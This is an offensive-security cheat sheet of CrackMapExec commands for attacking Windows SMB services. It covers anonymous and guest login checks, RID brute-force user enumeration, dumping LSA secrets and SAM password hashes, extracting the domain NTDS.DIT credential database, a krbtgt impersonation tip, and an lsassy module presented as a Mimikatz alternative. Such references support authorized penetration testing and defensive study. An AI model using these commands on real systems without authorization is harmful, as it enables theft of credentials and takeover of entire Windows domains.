### SMB Server Information and Enumeration Techniques #### **Basic Connection to SMB Server:** ```bash cme smb ``` - Establishes a connection to the SMB server at the specified IP. - Verifies if the SMB service is active and responsive. --- #### **Testing Null or Anonymous Access:** ```bash cme smb -u '' -p '' ``` - Attempts a connection to the SMB server without session credentials. - Useful for identifying if guest or anonymous access is permitted on the server. --- #### **Guest Account Access Check:** ```bash cme smb -u 'guest' -p '' ``` - Connects using the ‘guest’ account with no password. - Can help identify if guest access is enabled and examine associated permissions. --- #### **User Enumeration via RID Brute Force:** ```bash cme smb -u 'USER' -p 'PASSWORD' --rid-brute ``` - Performs RID brute-forcing to enumerate all users on the SMB server. - Useful for gathering a complete list of valid usernames, aiding further enumeration or exploitation. - *Tip:* Use the `-k` flag to switch to Kerberos if NTLM authentication is disabled on the target. --- #### **Local Admin Data Extraction:** If local admin privileges are confirmed, use the following commands: - **Dump LSA (Local Security Authority) Data:** ```bash cme smb --lsa ``` - Dumps sensitive LSA data, such as stored credentials and session tokens. - **Extract SAM Database (Security Account Manager):** ```bash cme smb --sam ``` - Retrieves the SAM database, containing local user information and password hashes. *Note:* Ensure local admin privileges before using `--lsa` or `--sam`, as these commands extract highly sensitive information. --- ### Enhancing CME Logging with `cme.conf` Customize logging within CME’s configuration file (`cme.conf`) for more detailed logging and custom success messages. - **Example Configuration:** ```plaintext pwn3d_label = Admin! # Customize success message to "Admin!" upon login log_mode = True # Enables verbose logging for auditing and troubleshooting ``` Enabling `log_mode` provides detailed output, which is useful for tracking activities or debugging issues. --- ### Extracting NTDS.DIT for Domain-Wide Credential Access ```bash cme smb --ntds ``` - Extracts the NTDS.DIT database, which holds domain user and machine credentials. - Effective for gaining access to the entire domain credential set, a key target in domain compromise scenarios. - *Tip:* Use `--user krbtgt` to leverage the Krbtgt account for impersonating any user. *Prerequisite:* Requires domain admin privileges or equivalent to access NTDS.DIT data. --- ### Mimikatz Alternative ```bash cme smb -M lssasy ``` --- ### Additional Best Practices and Tips - **NTLM vs. Kerberos Authentication**: If NTLM is disabled, specify `-k` to enable Kerberos, the preferred protocol on many modern domains. - **Privilege Requirements Awareness**: Commands like `--lsa` and `--sam` need elevated privileges. Verify your access level before executing commands with high privilege requirements. - **Secure Password Handling**: Avoid hardcoding sensitive passwords directly in command-line inputs. Instead, reference stored credentials securely to prevent exposure in logs. ---